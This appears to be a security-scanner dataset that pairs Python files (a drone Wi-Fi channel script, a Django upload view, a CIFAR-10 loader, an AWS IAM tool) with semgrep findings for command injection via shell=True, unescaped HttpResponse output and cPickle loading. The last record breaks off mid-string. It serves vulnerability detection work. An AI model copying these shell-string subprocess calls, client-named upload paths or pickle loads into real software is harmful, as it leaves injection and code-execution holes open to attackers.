"title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmpr7mo7ysm/0b7e95537d1f7fcc.py", "start": {"line": 57, "col": 17, "offset": 1532}, "end": {"line": 57, "col": 65, "offset": 1580}, "extra": {"message": "Detected subprocess function 'run' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 2 | true | [
"CWE-78",
"CWE-78"
] | [
"rules.python.lang.security.audit.dangerous-subprocess-use-audit",
"rules.python.lang.security.audit.dangerous-subprocess-use-audit"
] | [
"security",
"security"
] | [
"LOW",
"LOW"
] | [
"HIGH",
"HIGH"
] | [
47,
57
] | [
47,
57
] | [
17,
17
] | [
75,
65
] | [
"A01:2017 - Injection",
"A01:2017 - Injection"
] | [
"Detected subprocess function 'run' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.",
"Detected subprocess functio... | [
7.5,
7.5
] | [
"LOW",
"LOW"
] | [
"HIGH",
"HIGH"
] | run_formatter.py | /support/run_formatter.py | goldmann/docker-squash | MIT | |
2024-11-18T20:51:19.366181+00:00 | 1,661,047,205,000 | 7e2b95435c8c154b52d17d3f8edf8361c45e052a | 3 | {
"blob_id": "7e2b95435c8c154b52d17d3f8edf8361c45e052a",
"branch_name": "refs/heads/master",
"committer_date": 1661047205000,
"content_id": "801a0c15c5d861f6149ac62fe778edc11db05aaf",
"detected_licenses": [
"MIT",
"Apache-2.0"
],
"directory_id": "4d0df28268ca878a847f45463c0f33c17c5f5816",
"extension": "py",
"filename": "parse.py",
"fork_events_count": 8,
"gha_created_at": 1501555758000,
"gha_event_created_at": 1658081223000,
"gha_language": "Python",
"gha_license_id": null,
"github_id": 98952110,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2729,
"license": "MIT,Apache-2.0",
"license_type": "permissive",
"path": "/parse/parse.py",
"provenance": "stack-edu-0054.json.gz:578817",
"repo_name": "OpenSolo/solo-cli",
"revision_date": 1661047205000,
"revision_id": "f44a9f11a788369c4c91fde76902cbd08c7d0c78",
"snapshot_id": "64eb9fe790ff67b43200467353caff2ac8050259",
"src_encoding": "UTF-8",
"star_events_count": 10,
"url": "https://raw.githubusercontent.com/OpenSolo/solo-cli/f44a9f11a788369c4c91fde76902cbd08c7d0c78/parse/parse.py",
"visit_date": "2022-08-26T07:05:30.576166"
} | 2.640625 | stackv2 | import itertools, re, subprocess
from pprint import pprint
import sys
# align_channel.py 3DR
if len(sys.argv) < 2:
print('Usage: align_channel.py <ssid>')
sys.exit(1)
def build_tree(data):
lines = data.split('\n')
stack = [[]]
indent = ['']
i = 0
while i < len(lines):
line = lines[i]
if line[:len(indent[0])] == indent[0]:
leadtab = line[len(indent[0]):len(indent[0]) + 1]
if leadtab == '\t':
stack.insert(0, [])
indent.insert(0, indent[0] + leadtab)
sub = line[len(indent[0]):]
if len(sub):
stack[0].append(line[len(indent[0]):])
i += 1
else:
last = stack.pop(0)
# Tabs can roll onto previous line if short enough
if stack[0][-1] and '\t' in stack[0][-1]:
a = stack[0][-1].split('\t')
stack[0][-1] = a[0] or ''
last.insert(0, a[1] or '')
stack[0].append(last)
indent.pop(0)
return stack.pop()
input = subprocess.check_output('iw dev wlan0 scan ap-force', shell=True)
networks = []
for entry in build_tree(input):
if not isinstance(entry, str):
ssid = None
freq = None
for e in entry:
if isinstance(e, str):
if 'SSID' in e:
try:
ssid = e.split(None, 2)[1]
except:
pass
if 'freq' in e:
try:
freq = e.split(None, 2)[1]
except:
pass
networks.append((ssid, freq))
print(networks)
input = subprocess.check_output('iw dev', shell=True)
curfreq = None
noht = None
for phy in build_tree(input):
if not isinstance(phy, str):
for i in range(0, len(phy)):
if isinstance(phy[i], str) and 'wlan0-ap' in phy[i]:
try:
curfreq = re.search(r'(\d+) [Mm][Hh][Zz]', '\n'.join(phy[i+1])).group(1)
except:
pass
noht = re.search(r'[Nn][Oo] HT', '\n'.join(phy[i+1]))
if not curfreq:
print('Could not identify current frequency, trying anyway...')
targetfreq = None
for (S, M) in networks:
if S == sys.argv[1]:
if not targetfreq or targetfreq != curfreq:
targetfreq = M
if not targetfreq:
print('Specified SSID not found. Are you sure it was typed correctly?')
sys.exit(1)
if curfreq != targetfreq:
input = subprocess.check_output('hostapd_cli chan_switch 1 ' + str(targetfreq) + (' ht' if not noht else ''), shell=True)
print('(Target frequency matched.)')
| 93 | 28.34 | 125 | 22 | 693 | python | [{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_aef941b91a63ba76_08ceb354", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'check_output' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 91, "line_end": 91, "column_start": 13, "column_end": 126, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmpr7mo7ysm/aef941b91a63ba76.py", "start": {"line": 91, "col": 13, "offset": 2577}, "end": {"line": 91, "col": 126, "offset": 2690}, "extra": {"message": "Detected subprocess function 'check_output' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.subprocess-shell-true_aef941b91a63ba76_480630c3", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.subprocess-shell-true", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Found 'subprocess' function 'check_output' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.", "remediation": "False", "location": {"file_path": "unknown", "line_start": 91, "line_end": 91, "column_start": 121, "column_end": 125, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.subprocess-shell-true", "path": "/tmp/tmpr7mo7ysm/aef941b91a63ba76.py", "start": {"line": 91, "col": 121, "offset": 2685}, "end": {"line": 91, "col": 125, "offset": 2689}, "extra": {"message": "Found 'subprocess' function 'check_output' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.", "fix": "False", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b602_subprocess_popen_with_shell_equals_true.html", "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["secure default"], "likelihood": "HIGH", "impact": "LOW", "confidence": "MEDIUM"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 2 | true | [
"CWE-78",
"CWE-78"
] | [
"rules.python.lang.security.audit.dangerous-subprocess-use-audit",
"rules.python.lang.security.audit.subprocess-shell-true"
] | [
"security",
"security"
] | [
"LOW",
"MEDIUM"
] | [
"HIGH",
"HIGH"
] | [
91,
91
] | [
91,
91
] | [
13,
121
] | [
126,
125
] | [
"A01:2017 - Injection",
"A01:2017 - Injection"
] | [
"Detected subprocess function 'check_output' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.",
"Found 'subprocess'... | [
7.5,
7.5
] | [
"LOW",
"HIGH"
] | [
"HIGH",
"LOW"
] | parse.py | /parse/parse.py | OpenSolo/solo-cli | MIT,Apache-2.0 | |
2024-11-18T20:51:20.870298+00:00 | 1,537,878,837,000 | ce4b7356d4f50983f68ec3dfd017ec622ba46042 | 2 | {
"blob_id": "ce4b7356d4f50983f68ec3dfd017ec622ba46042",
"branch_name": "refs/heads/master",
"committer_date": 1537878837000,
"content_id": "c044b18b88b20576cf4ba2680aefa19e9a33b700",
"detected_licenses": [
"MIT"
],
"directory_id": "1128969ca03c1e8112a6f8eb4f9fdc89508143de",
"extension": "py",
"filename": "views.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 148636328,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 696,
"license": "MIT",
"license_type": "permissive",
"path": "/text/views.py",
"provenance": "stack-edu-0054.json.gz:578835",
"repo_name": "sumitrathore1313/voice",
"revision_date": 1537878837000,
"revision_id": "64b346eb1c18d4ea7ee48a687c11ecc82261120c",
"snapshot_id": "58bfaa674d080559258a1943f41cfabe78469a59",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/sumitrathore1313/voice/64b346eb1c18d4ea7ee48a687c11ecc82261120c/text/views.py",
"visit_date": "2020-03-28T15:54:03.975792"
} | 2.5 | stackv2 | from time import time
from django.http import HttpResponse
from django.shortcuts import render
from django.views import View
from SKR.google_speech import get_text
# Create your views here.
class TextView(View):
def get(self, request):
return render(request, "text.html")
def post(self, request):
file = request.FILES['audio_file']
path = 'recording/' + str(time()) + file.name
self.handle_uploaded_file(file, path)
text = get_text(path)
return HttpResponse(text)
def handle_uploaded_file(self, f, path):
with open(path, 'wb') as destination:
for chunk in f.chunks():
destination.write(chunk)
| 26 | 25.77 | 53 | 14 | 146 | python | [{"finding_id": "semgrep_rules.python.django.security.audit.xss.direct-use-of-httpresponse_ba324ebdd8d0f927_c9f68575", "tool_name": "semgrep", "rule_id": "rules.python.django.security.audit.xss.direct-use-of-httpresponse", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected data rendered directly to the end user via 'HttpResponse' or a similar object. This bypasses Django's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Django's template engine to safely render HTML.", "remediation": "", "location": {"file_path": "unknown", "line_start": 19, "line_end": 19, "column_start": 16, "column_end": 34, "code_snippet": "requires login"}, "cwe_id": "CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A07:2017 - Cross-Site Scripting (XSS)", "references": [{"url": "https://docs.djangoproject.com/en/3.1/intro/tutorial03/#a-shortcut-render", "title": null}, {"url": "https://docs.djangoproject.com/en/3.1/topics/http/shortcuts/#render", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.django.security.audit.xss.direct-use-of-httpresponse", "path": "/tmp/tmpr7mo7ysm/ba324ebdd8d0f927.py", "start": {"line": 19, "col": 16, "offset": 505}, "end": {"line": 19, "col": 34, "offset": 523}, "extra": {"message": "Detected data rendered directly to the end user via 'HttpResponse' or a similar object. This bypasses Django's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Django's template engine to safely render HTML.", "metadata": {"cwe": ["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"], "owasp": ["A07:2017 - Cross-Site Scripting (XSS)", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://docs.djangoproject.com/en/3.1/intro/tutorial03/#a-shortcut-render", "https://docs.djangoproject.com/en/3.1/topics/http/shortcuts/#render"], "category": "security", "technology": ["django"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
"CWE-79"
] | [
"rules.python.django.security.audit.xss.direct-use-of-httpresponse"
] | [
"security"
] | [
"LOW"
] | [
"MEDIUM"
] | [
19
] | [
19
] | [
16
] | [
34
] | [
"A07:2017 - Cross-Site Scripting (XSS)"
] | [
"Detected data rendered directly to the end user via 'HttpResponse' or a similar object. This bypasses Django's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Django's template engine to safely render HTML."
] | [
5
] | [
"LOW"
] | [
"MEDIUM"
] | views.py | /text/views.py | sumitrathore1313/voice | MIT | |
2024-11-18T20:51:22.004510+00:00 | 1,427,562,296,000 | cfb1fb0e9094ae34d01f74bbd02e7ae99f8b9822 | 2 | {
"blob_id": "cfb1fb0e9094ae34d01f74bbd02e7ae99f8b9822",
"branch_name": "refs/heads/master",
"committer_date": 1427562296000,
"content_id": "c60202b66ad9f4732088ce9267fbf5d398169ca0",
"detected_licenses": [
"MIT"
],
"directory_id": "1153e77b7b8fa4948f84406a5c3071c6afc9265a",
"extension": "py",
"filename": "cifar10.py",
"fork_events_count": 1,
"gha_created_at": 1427582236000,
"gha_event_created_at": 1427582236000,
"gha_language": null,
"gha_license_id": null,
"github_id": 33052969,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1150,
"license": "MIT",
"license_type": "permissive",
"path": "/datasets/cifar10.py",
"provenance": "stack-edu-0054.json.gz:578844",
"repo_name": "nagadomi/keras",
"revision_date": 1427562296000,
"revision_id": "9193cc87549833822ebe9236d8b2dd44c8c07048",
"snapshot_id": "463e6ce4a686d7f4dab5327afbbbe8ce1e973904",
"src_encoding": "UTF-8",
"star_events_count": 2,
"url": "https://raw.githubusercontent.com/nagadomi/keras/9193cc87549833822ebe9236d8b2dd44c8c07048/datasets/cifar10.py",
"visit_date": "2020-04-09T03:15:01.466884"
} | 2.3125 | stackv2 | from datasets import data_utils
import random
import cPickle
import numpy as np
from PIL import Image
def load_data(test_split=0.1, seed=113):
dirname = "cifar-10-batches-py"
origin = "http://www.cs.toronto.edu/~kriz/cifar-10-python.tar.gz"
path = data_utils.get_file(dirname, origin=origin, untar=True)
nb_samples = 50000
X = np.zeros((nb_samples, 3, 32, 32), dtype="uint8")
y = np.zeros((nb_samples,))
for i in range(1, 6):
fpath = path + '/data_batch_' + str(i)
f = open(fpath, 'rb')
d = cPickle.load(f)
f.close()
data = d["data"]
labels = d["labels"]
data = data.reshape(data.shape[0], 3, 32, 32)
X[(i-1)*10000:i*10000, :, :, :] = data
y[(i-1)*10000:i*10000] = labels
np.random.seed(seed)
np.random.shuffle(X)
np.random.seed(seed)
np.random.shuffle(y)
y = np.reshape(y, (len(y), 1))
X_train = X[:int(len(X)*(1-test_split))]
y_train = y[:int(len(X)*(1-test_split))]
X_test = X[int(len(X)*(1-test_split)):]
y_test = y[int(len(X)*(1-test_split)):]
return (X_train, y_train), (X_test, y_test)
| 41 | 27.05 | 69 | 13 | 384 | python | [{"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-cPickle_3ebb0af4616e8ac6_42e2a6cd", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-cPickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 18, "line_end": 18, "column_start": 13, "column_end": 28, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-cPickle", "path": "/tmp/tmpr7mo7ysm/3ebb0af4616e8ac6.py", "start": {"line": 18, "col": 13, "offset": 545}, "end": {"line": 18, "col": 28, "offset": 560}, "extra": {"message": "Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
"CWE-502"
] | [
"rules.python.lang.security.deserialization.avoid-cPickle"
] | [
"security"
] | [
"LOW"
] | [
"MEDIUM"
] | [
18
] | [
18
] | [
13
] | [
28
] | [
"A08:2017 - Insecure Deserialization"
] | [
"Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format."
] | [
5
] | [
"LOW"
] | [
"MEDIUM"
] | cifar10.py | /datasets/cifar10.py | nagadomi/keras | MIT | |
2024-11-18T20:51:25.236750+00:00 | 1,535,050,310,000 | 4077434745a73e8676db365679c889705cd7f98e | 2 | {
"blob_id": "4077434745a73e8676db365679c889705cd7f98e",
"branch_name": "refs/heads/master",
"committer_date": 1535050310000,
"content_id": "58a9ebe8f820314970e552e9fada0e0fcc1dd68d",
"detected_licenses": [
"MIT"
],
"directory_id": "fae7411d77c085359110041ce9da7cd30547cfc4",
"extension": "py",
"filename": "iamtool.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": null,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 5826,
"license": "MIT",
"license_type": "permissive",
"path": "/iamtool.py",
"provenance": "stack-edu-0054.json.gz:578856",
"repo_name": "gitrahimi/aws-iam-user-tool",
"revision_date": 1535050310000,
"revision_id": "11d6d92c53b99b94a5f70aa5866f0833491df06f",
"snapshot_id": "4c7747f5ea7adebbe34432d8b6c5a1768c7072fd",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/gitrahimi/aws-iam-user-tool/11d6d92c53b99b94a5f70aa5866f0833491df06f/iamtool.py",
"visit_date": "2021-09-21T09:41:47.697762"
} | 2.5 | stackv2 | #!/usr/bin/python
from __future__ import print_function
import os
import sys
import argparse
import tempfile
import subprocess
import uuid
import re
import boto3
from string import Template
def get_aws_temp_creds(role_name, profile_name = None):
if profile_name:
session = boto3.Session(profile_name=profile_name)
sts_client = session.client('sts')
iam_client = session.client('iam')
else:
sts_client = boto3.client('sts')
iam_client = boto3.client('iam')
try:
role_arn = iam_client.get_role(RoleName=role_name)['Role']['Arn']
except Exception as e:
print("Error reading role arn for role name {}: {}".format(role_name, e))
raise
try:
random_session = uuid.uuid4().hex
assumed_role_object = sts_client.assume_role(
RoleArn=role_arn,
RoleSessionName="docker-session-{}".format(random_session),
DurationSeconds=3600 # 1 hour max
)
access_key = assumed_role_object["Credentials"]["AccessKeyId"]
secret_key = assumed_role_object["Credentials"]["SecretAccessKey"]
session_token = assumed_role_object["Credentials"]["SessionToken"]
except Exception as e:
print("Error assuming role {}: {}".format(role_arn, e))
raise
print("Generated temporary AWS credentials: {}".format(access_key))
return access_key, secret_key, session_token
def exec_command(command):
# print(command)
output = ""
try:
p = subprocess.Popen(command, stdout=subprocess.PIPE, shell=True)
p_status = p.wait()
(output, err) = p.communicate()
output = output.decode("utf-8")
# print (output)
except Exception as e:
print ("Error: Output: {} \nException:{}".format(output, str(e)))
return 1, output, -1
return p.returncode, output
def single_line_string(string):
# replace all runs of whitespace to a single space
string = re.sub('\s+', ' ', string)
# remove newlines
string = string.replace('\n', '')
return string
def get_docker_inspect_exit_code(container_name):
inspect_command = "docker inspect {} --format='{{{{.State.ExitCode}}}}'".format(
container_name)
(returncode, output) = exec_command(inspect_command)
if not returncode == 0:
print("Error from docker (docker exit code {}) inspect trying to get container exit code, output: {}".format(returncode, output))
sys.exit(1)
try:
container_exit_code = int(output.replace("'", ""))
except Exception as e:
print("Error parsing exit code from docker inspect, raw output: {}".format(output))
sys.exit(1)
# pass along the exit code from the container
print("Container exited with code {}".format(container_exit_code))
return container_exit_code
def remove_docker_container(container_name):
print("Removing container: {}".format(container_name))
remove_command = "docker rm {}".format(container_name)
(returncode, output) = exec_command(remove_command)
if not returncode == 0:
print("Error removing named container! Run 'docker container prune' to cleanup manually.")
def random_container_name():
return uuid.uuid4().hex
def generate_temp_env_file(
access_key,
secret_key,
session_token,
region):
envs = []
envs.append("AWS_ACCESS_KEY_ID=" + access_key)
envs.append("AWS_SECRET_ACCESS_KEY=" + secret_key)
envs.append("AWS_SESSION_TOKEN=" + session_token)
envs.append("AWS_DEFAULT_REGION=" + region)
envs.append("AWS_REGION=" + region)
envs.append("PYTHONUNBUFFERED=1")
if os.environ.get('APP_LOGLEVEL', None):
envs.append("APP_LOGLEVEL=" + os.environ['APP_LOGLEVEL'])
temp_env_file = tempfile.NamedTemporaryFile(delete=False, mode="w")
for item in envs:
temp_env_file.write("%s\n" % item)
temp_env_file.close()
print("Temp envs file: {}".format(temp_env_file.name))
return temp_env_file.name
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("command", nargs='*',
choices=["create"],
help="The command to be executed")
parser.add_argument("--user-name", required=True)
parser.add_argument("--user-email", required=True)
parser.add_argument("--iam-group", required=False, action="append")
parser.add_argument("--region", default="us-east-1")
parser.add_argument("--profile",
help="The AWS creds used on your laptop to generate the STS temp credentials")
try:
args = parser.parse_args()
except argparse.ArgumentError as exc:
print(exc.message, '\n', exc.argument)
access_key, secret_key, session_token = \
get_aws_temp_creds("role-aws-iam-user-tool", args.profile)
env_tmpfile = generate_temp_env_file(
access_key,
secret_key,
session_token,
args.region
)
if 'create' in args.command:
cmd = "create --user-name {} --user-email {}".format(
args.user_name, args.user_email)
for group in args.iam_group:
cmd += " --iam-group {}".format(group)
container_name = random_container_name()
command = Template(single_line_string("""
docker run
--name $container_name
--env-file $env_tmpfile
billtrust/aws-iam-user-tool:latest
$cmd
""")) \
.substitute({
'env_tmpfile': env_tmpfile,
'container_name': container_name,
'cmd': cmd
})
print(command)
os.system(command)
exit_code = get_docker_inspect_exit_code(container_name)
remove_docker_container(container_name)
os.remove(env_tmpfile)
sys.exit(exit_code)
| 179 | 31.55 | 137 | 14 | 1,307 | python | [{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_b37a9437270b930d_03daa3b0", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 52, "line_end": 52, "column_start": 13, "column_end": 74, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmpr7mo7ysm/b37a9437270b930d.py", "start": {"line": 52, "col": 13, "offset": 1514}, "end": {"line": 52, "col": 74, "offset": 1575}, "extra": {"message": "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.subprocess-shell-true_b37a9437270b930d_49880fec", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.subprocess-shell-true", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Found 'subprocess' function 'Popen' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.", "remediation": "False", "location": {"file_path": "unknown", "line_start": 52, "line_end": 52, "column_start": 69, "column_end": 73, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.subprocess-shell-true", "path": "/tmp/tmpr7mo7ysm/b37a9437270b930d.py", "start": {"line": 52, "col": 69, "offset": 1570}, "end": {"line": 52, "col": 73, "offset": 1574}, "extra": {"message": "Found 'subprocess' function 'Popen' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which 